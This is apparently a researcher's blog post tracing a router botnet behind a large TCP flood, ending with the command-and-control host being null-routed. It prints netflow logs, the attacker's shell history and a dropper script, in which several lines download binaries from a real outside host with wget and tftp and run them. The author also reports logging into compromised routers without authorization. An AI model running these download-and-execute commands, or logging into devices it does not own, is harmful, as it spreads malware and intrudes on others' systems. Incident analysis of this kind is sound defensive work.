Large TCP attack, trace down the botnet!

A friend of mine who owns a datacenter (and (D)DoS mitigation company) contacted me earlier this week asking for help with a large attack that he was being faced with, the attack was maxing out his uplinks on a large TCP attack (insanely impressive considering his bandwidth!) So I thought, why not, let’s find ourselves a botnet ;)

How is that even possible?

Tracking down a botnet usually is pretty difficult; however, this was pretty simple, it is actually something that we have a lot of experience in! We’re looking at another LizardSquad botnet!

He sent me a flow of the attack and we got to work:

2016-01-04 14:14:00.399     0.000 TCP     217.172.189.82:34998 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:57.224     0.000 TCP     115.202.191.90:9577  ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:00.099     0.000 TCP        61.80.20.38:63603 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:59.168     0.000 TCP     217.172.189.82:56726 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:59.483     0.000 TCP     166.78.102.158:15207 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:57.009     0.000 TCP       172.98.72.53:36243 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:58.248     0.000 TCP    120.198.124.126:21322 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:59.348     0.000 TCP        52.11.12.20:19324 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:56.479     0.000 TCP      202.164.61.43:47872 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:57.983     0.000 TCP      107.155.95.93:45379 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:57.358     0.000 TCP      54.75.241.203:13777 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:59.758     0.000 TCP      14.37.200.217:16724 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:55.832     0.000 TCP       122.84.186.5:65271 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:58.501     0.000 TCP     106.185.37.124:57833 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:59.127     0.000 TCP      169.55.103.20:15782 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:00.085     0.000 TCP       54.67.71.210:55357 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:57.545     0.000 TCP    218.156.116.224:40416 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:59.833     0.000 TCP       186.46.60.98:52705 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:59.259     0.000 TCP    112.167.253.121:11766 ->     [redacted]:25575        1     1440     1
2016-01-04 14:13:58.287     0.000 TCP      177.92.61.253:62127 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:44.442     0.000 TCP    219.137.241.217:49522 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:43.377     0.000 TCP    176.102.200.142:16714 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:39.836     0.000 TCP       14.49.214.45:23117 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:41.194     0.000 TCP       58.16.83.203:39372 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:41.984     0.000 TCP       58.16.83.203:45570 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:40.431     0.000 TCP      187.112.88.35:59557 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:41.246     0.000 TCP       58.16.83.203:57344 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:40.932     0.000 TCP       183.54.30.68:21881 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:40.422     0.000 TCP    223.199.174.125:39834 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:39.646     0.000 TCP       58.16.83.203:12134 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:42.681     0.000 TCP       58.16.83.203:48121 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:45.234     0.000 TCP      159.192.252.6:13795 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:43.847     0.000 TCP       14.49.214.45:4686  ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:42.144     0.000 TCP       58.16.83.203:24822 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:41.481     0.000 TCP      113.90.211.48:35364 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:43.192     0.000 TCP       58.16.83.203:29907 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:42.826     0.000 TCP     14.148.125.152:7576  ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:41.160     0.000 TCP      183.48.13.221:11301 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:45.516    59.154 TCP       [redacted]:25575 ->     71.88.39.227:57468        4     2421     1
2016-01-04 14:14:44.063     0.000 TCP       14.49.214.45:60449 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:42.888     0.000 TCP    113.212.234.130:59028 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:43.847     0.000 TCP      181.196.48.86:65280 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:45.421     0.000 TCP      14.26.179.172:35789 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:44.884     0.000 TCP     123.171.100.63:26522 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:41.656     0.000 TCP    181.113.122.198:41761 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:41.734     0.000 TCP       58.16.83.203:40215 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:42.096     0.000 TCP     125.126.140.71:38937 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:43.000     0.000 TCP       58.16.83.203:27269 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:41.061     0.000 TCP     125.126.140.71:22135 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:43.972     0.000 TCP       [redacted]:25575 ->   187.189.173.59:46214        1       40     1
2016-01-04 14:14:41.566     0.000 TCP       14.49.214.45:12982 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:44.043     0.000 TCP       14.49.214.45:47204 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:45.228     0.000 TCP     123.248.43.104:10713 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:45.475     0.000 TCP       14.49.214.45:28415 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:40.848     0.000 TCP       14.49.214.45:35932 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:41.985     0.000 TCP       58.16.83.203:28830 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:42.572     0.000 TCP       14.49.214.45:39862 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:40.998     0.000 TCP    117.221.186.109:13341 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:42.333     0.000 TCP       14.49.214.45:44365 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:43.793     0.000 TCP       14.49.214.45:11930 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:43.460     0.000 TCP       58.16.83.203:51506 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:48.070     0.000 TCP      113.73.204.96:52410 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:48.536     0.000 TCP    113.212.234.130:37867 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:45.707     0.000 TCP       14.49.214.45:30316 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:46.355     0.000 TCP     14.148.125.152:21674 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:46.880     0.000 TCP     222.87.114.175:27252 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:47.450     0.000 TCP     222.87.114.175:65432 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:45.921     0.000 TCP       183.48.15.89:39099 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:47.877     0.000 TCP        64.129.2.28:11758 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:46.403     0.000 TCP     116.20.154.119:42898 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:46.851     0.000 TCP     183.133.39.158:1185  ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:46.321     0.000 TCP        64.129.2.28:6104  ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:47.916     0.000 TCP      183.12.176.91:59888 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:48.148     0.000 TCP     180.218.53.110:48611 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:45.377     0.000 TCP       14.49.214.45:61547 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:47.049     0.000 TCP      113.90.211.48:65215 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:44.619     0.000 TCP       14.49.214.45:44700 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:46.315     0.000 TCP        64.129.2.28:55662 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:47.296     0.000 TCP    113.212.234.130:63789 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:49.402     0.000 TCP     14.148.125.152:29441 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:44.855     0.000 TCP       218.63.98.30:12766 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:49.078     0.000 TCP       183.48.15.89:54063 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:46.983     0.000 TCP      183.48.13.221:29057 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:47.951     0.000 TCP       [redacted]:25575 ->    68.36.108.162:51025        1     1500     1
2016-01-04 14:14:49.888     0.000 TCP       [redacted]:25575 ->     190.48.99.60:7368         1       40     1
2016-01-04 14:14:49.359     0.000 TCP      14.122.74.254:5730  ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:49.242     0.000 TCP       183.48.15.89:57520 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:48.881     0.000 TCP      183.12.176.91:5247  ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:45.822     0.000 TCP    176.102.200.148:53722 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:46.555     0.000 TCP     123.171.100.63:48344 ->     [redacted]:25575        1     1440     1
2016-01-04 14:14:45.606     0.000 TCP      183.48.13.221:10227 ->     [redacted]:25575..

Now you may be thinking, how does this help us!? Well, if you look at the attacking source IPs you’ll notice that all of them have one thing in common, they’re running telnet (YES THEY ARE ROUTERS!) so we grabbed a few until we were able to login to one successfully (not rocket science) and this "hacker" wasn’t careful at all…​

I ran the first command that came to mind, "history" and got prompted with

  316  cd /tmp || cd /tmp; rm -rf /tmp/*; wget http://176.123.7.193/w.sh; sh w.sh; tftp -r t1.sh -g 176.123.7.193; sh t1.sh; tftp 176.123.7.193 -c get t2.sh; sh t2.sh; rm -rf /tmp/*
  317  sh
  318  cd /tmp || cd /tmp; rm -rf /tmp/*; wget http://176.123.7.193/w.sh; sh w.sh; tftp -r t1.sh -g 176.123.7.193; sh t1.sh; tftp 176.123.7.193 -c get t2.sh; sh t2.sh; rm -rf /tmp/*

yay we found the server that he is fetching the files from! (Yes he is able to do something as simple as wgetting a file and make a botnet this large…​#infosec please! D:

I don’t want you to go to those links becasue then he’ll have your IP logged; however, here is the "w.sh" file:

cd /tmp;rm -rf *;wget http://176.123.7.193/dskljn;cat dskljn >busybox;chmod 777 busybox;./busybox
cd /tmp;rm -rf *;wget http://176.123.7.193/kjdnc;cat kjdnc >busybox;chmod 777 busybox;./busybox
cd /tmp;rm -rf *;wget http://176.123.7.193/sdokdljn;cat sdokdljn >busybox;chmod 777 busybox;./busybox
cd /tmp;rm -rf *;wget http://176.123.7.193/sdalk;cat sdalk >busybox;chmod 777 busybox;./busybox
cd /tmp;rm -rf *;wget http://176.123.7.193/akddx;cat akddx >busybox;chmod 777 busybox;./busybox
cd /tmp; busybox wget http://176.123.7.193/dskljn; chmod +x dskljn; ./dskljn; busybox rm -f dskljn*
cd /tmp; busybox wget http://176.123.7.193/kjdnc; chmod +x kjdnc; ./kjdnc; busybox rm -f kjdnc*
cd /tmp; busybox wget http://176.123.7.193/sdokdljn; chmod +x sdokdljn; ./sdokdljn; busybox rm -f sdokdljn*
cd /tmp; busybox wget http://176.123.7.193/sdalk; chmod +x sdalk; ./sdalk; busybox rm -f sdalk*
cd /tmp; busybox wget http://176.123.7.193/akddx; chmod +x akddx; ./akddx; busybox rm -f akddx*

The simplicity is killing me here, so now you might think that "THE BOTNET IS ON 176.123.7.193!!!" but it could actually not be, it’d be smarter not to be hosted on the same server but hey, nobody said this guy was smart!

Let’s check the binary!

Don’t let this scare you, it’s very simple, let’s read through the plain-text strings on the executable and see what we can find:

-:~ suedadam$ strings /Users/suedadam/Downloads/akddx
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-:~ suedadam$

Now normally you would read through the file and try and find a IP; however, we’ve seen this source before so we know just about where we can find the IP! I looked for "root" and the other login credentials and there it was! "*76.123.", I then went back to the attacking source IP we had access to and ran the following:

# netstat | grep 76.123
tcp        0      1 61.80.20.38:59332       176.123.7.193:http      LAST_ACK
tcp        0      1 61.80.20.38:56903       176.123.7.193:http      LAST_ACK
tcp        0     84 61.80.20.38:60119       176.123.7.193:http      ESTABLISHED
tcp        0      1 61.80.20.38:57097       176.123.7.193:http      LAST_ACK
tcp        0      1 61.80.20.38:51267       176.123.7.193:http      LAST_ACK
tcp        0      0 61.80.20.38:60121       176.123.7.193:http      ESTABLISHED
tcp        0      1 61.80.20.38:59091       176.123.7.193:http      LAST_ACK
tcp        0      1 61.80.20.38:58436       176.123.7.193:http      LAST_ACK
tcp        0     81 61.80.20.38:59687       176.123.7.193:http      ESTABLISHED
tcp        0      1 61.80.20.38:57956       176.123.7.193:http      LAST_ACK
tcp        0      0 61.80.20.38:37721       176.123.7.193:telnet    ESTABLISHED
tcp        0      0 61.80.20.38:59147       176.123.7.193:telnet    CLOSE_WAIT
tcp        0     81 61.80.20.38:57909       176.123.7.193:http      FIN_WAIT1
tcp        0      0 61.80.20.38:59919       176.123.7.193:http      ESTABLISHED
tcp        0      1 61.80.20.38:58604       176.123.7.193:http      LAST_ACK

Well damn, we found the botnet right there! Let’s go ahead and check it out for ourselves to confirm!

-:~ suedadam$ torify telnet 176.123.7.193
18:22:18 libtorsocks(23688): The symbol res_send() was not found in any shared library. The error reported was: dlsym(RTLD_NEXT, res_send): symbol not found!
18:22:18 libtorsocks(23688): The symbol res_querydomain() was not found in any shared library. The error reported was: dlsym(RTLD_NEXT, res_querydomain): symbol not found!
18:22:18 libtorsocks(23689): The symbol res_send() was not found in any shared library. The error reported was: dlsym(RTLD_NEXT, res_send): symbol not found!
18:22:18 libtorsocks(23689): The symbol res_querydomain() was not found in any shared library. The error reported was: dlsym(RTLD_NEXT, res_querydomain): symbol not found!
18:22:18 libtorsocks(23687): The symbol res_send() was not found in any shared library. The error reported was: dlsym(RTLD_NEXT, res_send): symbol not found!
18:22:18 libtorsocks(23687): The symbol res_querydomain() was not found in any shared library. The error reported was: dlsym(RTLD_NEXT, res_querydomain): symbol not found!
Trying 176.123.7.193...
Connected to 176-123-7-193.alexhost.md.
Escape character is '^]'.
!* SCANNER ON

As soon as we connected it was right there, asking for us to start scanning! We found the C&C! :)

Now we can check who it is hosted with!

Find the host and stop them!

First let’s check the IP’s announcement:

We see a /24 announcement from AS15836, but what is this? The domain that the abuse email is pointed to is non-existant? Whatever, we don’t need it, we can see by the rDNS that it belongs to alexhost.md https://alexhost.md/

We can see that they advertise DDoS protection:

oXD1gVh.png

but wait, I remember someone advertising 500Gbps protection, Voxility! We can then see that they’re peered directly with Trabia who gets their DDoS protection from Voxility! (http://bgp.he.net/AS43289) Let’s skip all the middle men and just jump to Voxility as we know that they’re a credible company, they’ll resolve this quickly for us ;) (Note that I left out that all traffic is being forced through Voxility rather than the other peers, if Voxility nullroutes it then we’ll be fine :) )

So let’s do it! I sent an email to my good friend Maria from Voxility but they have to talk to their downstream before nullrouting it :( Hopefully they can expedite the process through their channels of communication!

This botnet was hosted on IP 176.123.7.193 but was blackholed by Voxility and Trabia

New botnet up from the same person, new IP is 176.123.7.128